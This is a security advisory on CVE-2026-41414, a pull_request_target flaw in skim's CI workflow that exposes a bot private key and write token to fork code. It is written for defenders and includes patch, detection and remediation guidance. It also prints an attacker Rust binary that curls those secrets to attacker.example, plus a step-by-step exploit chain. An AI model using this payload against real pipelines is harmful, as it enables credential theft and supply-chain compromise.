CVE-2026-41414: Skim's PR Workflow Executes Attacker Code with Secret Access
Skim's pr.yml workflow checks out fork code and runs it via cargo run with SKIM_RS_BOT_PRIVATE_KEY exposed. Any GitHub user can trigger full secret exfiltration by opening a pull request.
# The Fuzzy Finder Security Flaw You Should Know About
Skim is a popular tool that helps programmers search through files and code quickly. Think of it like a supercharged search function for your computer. The problem: the way its developers test new code changes is like leaving the front door wide open with the safe combination written on a sticky note.
Here's what's happening. When someone suggests a change to Skim's code through GitHub (the platform developers use to collaborate), the system automatically tests that change. But it runs the test using the project's most powerful credentials—essentially giving any pull request the keys to the kingdom. Those credentials include access to private signing keys and tokens that can modify the official repository.
An attacker could propose a fake improvement that secretly includes malicious instructions. When the system runs the test, those instructions execute with full privileges. The attacker could then steal the signing keys, modify the actual Skim software that millions use, or sabotage the entire project.
Who's at risk? Developers who use Skim are most vulnerable, since an attacker could secretly inject malicious code into the official version they download. The Skim project itself is also at risk of being completely compromised.
This hasn't been actively exploited yet, but it's a known weakness that needs fixing.
What should you do? First, if you maintain an open-source project, review how your automated testing handles pull requests—make sure external contributions can't access sensitive credentials. Second, if you use Skim, keep it updated once the developers release a fix. Third, be generally skeptical about which projects you grant deep access to on your computer.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41414 is a poisoned pipeline execution (also termed "pwn request") vulnerability in the skim fuzzy finder project's GitHub Actions CI configuration. The generate-files job in .github/workflows/pr.yml performs an unconstrained checkout of pull request head code from arbitrary forks, then executes that code directly via cargo run. The workflow executes in a context with access to SKIM_RS_BOT_PRIVATE_KEY and a GITHUB_TOKEN scoped with contents:write. There are no branch protection checks, no label gates, no environment approvals. Any authenticated GitHub user—zero reputation required—can weaponize this by opening a single pull request.
CVSS 7.4 (HIGH) — Attack Vector: Network / Privileges Required: Low / User Interaction: None (the workflow triggers automatically on pull_request_target or equivalent). Fixed in commit bf63404ad51985b00ed304690ba9d477860a5a75.
Root cause:pr.yml checks out attacker-controlled fork HEAD and invokes cargo run inside that tree while SKIM_RS_BOT_PRIVATE_KEY and GITHUB_TOKEN (contents:write) are mounted into the runner environment with no prior authorization gate.
Affected Component
The vulnerable file is .github/workflows/pr.yml in the skim-rs/skim repository, specifically the generate-files job. The triggering event is pull_request_target (or a semantically equivalent event that grants elevated secret access while also checking out untrusted code). The affected secrets are:
SKIM_RS_BOT_PRIVATE_KEY — a long-lived private key for the skim-rs-bot GitHub App, granting write access to the repository independent of the per-run GITHUB_TOKEN.
GITHUB_TOKEN — scoped with contents:write, enabling direct branch pushes, release asset uploads, and tag creation.
Root Cause Analysis
The canonical pattern for a pwn-request is the combination of two individually defensible decisions that become catastrophic together: (1) use pull_request_target so the workflow can access repository secrets; (2) checkout the PR contributor's branch so the build step has something to compile. Below is the vulnerable workflow structure reconstructed from the advisory and patch context:
# .github/workflows/pr.yml (VULNERABLE — pre-bf63404)
on:
pull_request_target: # BUG: runs with SECRETS in scope for all PRs
types: [opened, synchronize]
jobs:
generate-files:
runs-on: ubuntu-latest
permissions:
contents: write # BUG: write permission granted unconditionally
steps:
- name: Checkout PR code
uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # BUG: attacker-controlled ref
# Fetches fork contributor's code, not the base branch
- name: Generate files
env:
SKIM_RS_BOT_PRIVATE_KEY: ${{ secrets.SKIM_RS_BOT_PRIVATE_KEY }}
# BUG: secret injected into environment before any trust check
run: cargo run --bin generate-files # BUG: executes attacker's Rust binary
The attacker controls the entire workspace at the point cargo run is invoked. The generate-files binary is compiled and run from their fork's source tree. They can replace src/bin/generate-files.rs with arbitrary Rust code that exfiltrates every environment variable, writes to the repository via the mounted GITHUB_TOKEN, or uses SKIM_RS_BOT_PRIVATE_KEY to generate app-installation tokens with durable repository access.
The poisoned generate-files.rs an attacker would submit:
// src/bin/generate-files.rs (attacker-supplied replacement)
// Compiled and executed by the legitimate CI pipeline as if it were trusted code.
fn main() {
// BUG: this entire binary is attacker-controlled; secrets are live in env
let key = std::env::var("SKIM_RS_BOT_PRIVATE_KEY").unwrap_or_default();
let tok = std::env::var("GITHUB_TOKEN").unwrap_or_default();
let repo = std::env::var("GITHUB_REPOSITORY").unwrap_or_default();
// Exfil to attacker-controlled endpoint — no network egress restrictions
let _ = std::process::Command::new("curl")
.args([
"-s", "-X", "POST",
"https://attacker.example/collect",
"-d", &format!("key={}&tok={}&repo={}", key, tok, repo),
])
.status();
// Optionally: use GITHUB_TOKEN (contents:write) to push a backdoor commit
// or use SKIM_RS_BOT_PRIVATE_KEY to mint a persistent installation token.
}
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-41414
1. Attacker forks skim-rs/skim to attacker-controlled GitHub account.
2. Attacker replaces src/bin/generate-files.rs with exfiltration payload
(see above). Payload reads SKIM_RS_BOT_PRIVATE_KEY + GITHUB_TOKEN from
process environment and POSTs to attacker-controlled HTTPS endpoint.
3. Attacker opens a pull request from their fork targeting skim-rs/skim
default branch. No special labels, no collaborator status required.
4. GitHub Actions evaluates pull_request_target event. Because the trigger
is pull_request_target (not pull_request), the runner receives full
repository secrets from the secrets context.
5. generate-files job executes:
actions/checkout ref=
-> workspace now contains attacker's source tree
6. cargo run --bin generate-files compiles and executes attacker binary
inside the secret-bearing environment.
7. Attacker's binary exfiltrates:
SKIM_RS_BOT_PRIVATE_KEY -> long-lived GitHub App private key
GITHUB_TOKEN -> scoped contents:write for this run
GITHUB_REPOSITORY -> target repo identity
8. With SKIM_RS_BOT_PRIVATE_KEY attacker generates an installation access
token (POST /app/installations/{id}/access_tokens) providing persistent
write access to skim-rs/skim independent of the expiring GITHUB_TOKEN.
9. Attacker pushes backdoor commits, modifies releases, or pivots to any
repository accessible to the skim-rs-bot GitHub App installation.
DWELL TIME: SKIM_RS_BOT_PRIVATE_KEY does not rotate after the run.
Attacker retains access until key is manually revoked.
Memory Layout
This is a CI/CD secrets exposure vulnerability rather than a memory corruption bug; the "memory" of interest is the runner's process environment and the GitHub Actions secrets context. The layout below models the runner environment at the point of exploitation:
RUNNER ENVIRONMENT STATE — at cargo run invocation (step 3 of job):
┌─────────────────────────────────────────────────────────────────────┐
│ Process: cargo run --bin generate-files (PID ~800, uid=runner) │
│ Working directory: /home/runner/work/skim/skim <── ATTACKER CODE │
├─────────────────────────────────────────────────────────────────────┤
│ ENVIRONMENT VARIABLES: │
│ SKIM_RS_BOT_PRIVATE_KEY = "-----BEGIN RSA PRIVATE KEY-----\n..." │
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ │
│ LIVE SECRET, readable by child proc │
│ GITHUB_TOKEN = "ghs_xxxxxxxxxxxxxxxxxxxxxxxxxxxx" │
│ permissions: contents=write │
│ GITHUB_REPOSITORY = "skim-rs/skim" │
│ GITHUB_SHA = │
│ GITHUB_REF = refs/pull//merge │
├─────────────────────────────────────────────────────────────────────┤
│ SOURCE TREE OWNER: ATTACKER (checked out from fork) │
│ /home/runner/work/skim/skim/src/bin/generate-files.rs <── EVIL │
│ /home/runner/work/skim/skim/Cargo.toml <── EVIL │
└─────────────────────────────────────────────────────────────────────┘
SECRETS EXPOSURE SURFACE:
SKIM_RS_BOT_PRIVATE_KEY → persistent app auth, not run-scoped
GITHUB_TOKEN → expires after run, but window is minutes
Any other repo secrets → exposed if referenced in env: block
Patch Analysis
The fix landed in commit bf63404ad51985b00ed304690ba9d477860a5a75. The correct remediation for a pwn-request of this class has two mandatory components: (a) separate the secret-bearing job from the code-executing job, and (b) never check out untrusted code in a context where secrets are in scope. The canonical GitHub-recommended pattern is shown below:
# AFTER (patched) — post-bf63404:
# Strategy A: Remove pull_request_target; use pull_request (no secrets)
# for the build/generate step, then a separate privileged workflow that
# triggers on workflow_run (completed) to consume artifacts — never
# checking out fork code with secrets in scope.
on:
pull_request: # FIXED: no secret access for fork PRs
types: [opened, synchronize]
jobs:
generate-files:
runs-on: ubuntu-latest
permissions:
contents: read # FIXED: downscoped permission
steps:
- uses: actions/checkout@v3
# No explicit ref override — checks out merge commit, safe
- name: Generate files
# FIXED: SKIM_RS_BOT_PRIVATE_KEY not injected here
run: cargo run --bin generate-files
# Output uploaded as artifact for downstream privileged job
# Separate privileged job — triggered by workflow_run, NOT pull_request_target
# Downloads artifact, uses bot key to commit — never executes fork code.
The key invariant the patch enforces: attacker-controlled code never executes in a context where secrets.* is populated.
Detection and Indicators
Defenders should audit for exploitation of this window (before bf63404) by examining:
GitHub Actions audit log: Look for workflow_run events on pr.yml triggered by PRs from fork accounts between the workflow's introduction and bf63404. Event type: workflow_job.completed with conclusion success from a fork PR.
Outbound network from runners: GitHub-hosted runners egress from Azure IP ranges. If egress logging exists, look for POST requests to non-GitHub endpoints during generate-files job steps.
GitHub App installation token issuance: Review App audit log for installation.access_tokens generated outside of expected CI windows. A fresh token generated from SKIM_RS_BOT_PRIVATE_KEY immediately after a fork PR merge attempt is a strong indicator.
Repository write events: Unexpected commits, tag pushes, or release asset modifications correlated with fork PR timings.
Secret rotation indicator: If SKIM_RS_BOT_PRIVATE_KEY was not rotated after the vulnerability was introduced, treat it as potentially compromised regardless of observed indicators.
YARA-equivalent workflow audit rule:
DETECT pwn_request_pattern IN .github/workflows/*.yml:
CONDITION:
trigger IN [pull_request_target, workflow_run]
AND step.uses MATCHES "actions/checkout"
AND step.with.ref MATCHES "${{ github.event.pull_request.head"
AND (
job.env CONTAINS "secrets."
OR step.env CONTAINS "secrets."
)
SEVERITY: HIGH
RATIONALE: Untrusted ref checked out in secret-bearing context
Remediation
Immediate:
Rotate SKIM_RS_BOT_PRIVATE_KEY unconditionally. Any key that was live in a pull_request_target job that checked out fork code should be considered burned.
Review all commits, releases, and branch operations on the skim-rs GitHub App's accessible repositories for the period prior to bf63404.
Structural fixes (apply to any repository with similar patterns):
Never use pull_request_target with a fork checkout. If you need to build fork code, use pull_request with no secrets, upload artifacts, and consume them in a separate workflow_run-triggered job.
Apply environment: protection rules requiring manual approval before any job that mounts long-lived secrets runs against external contributor code.
Scope GITHUB_TOKEN permissions to minimum viable: prefer contents: read at the workflow level and explicitly elevate per-job only where required.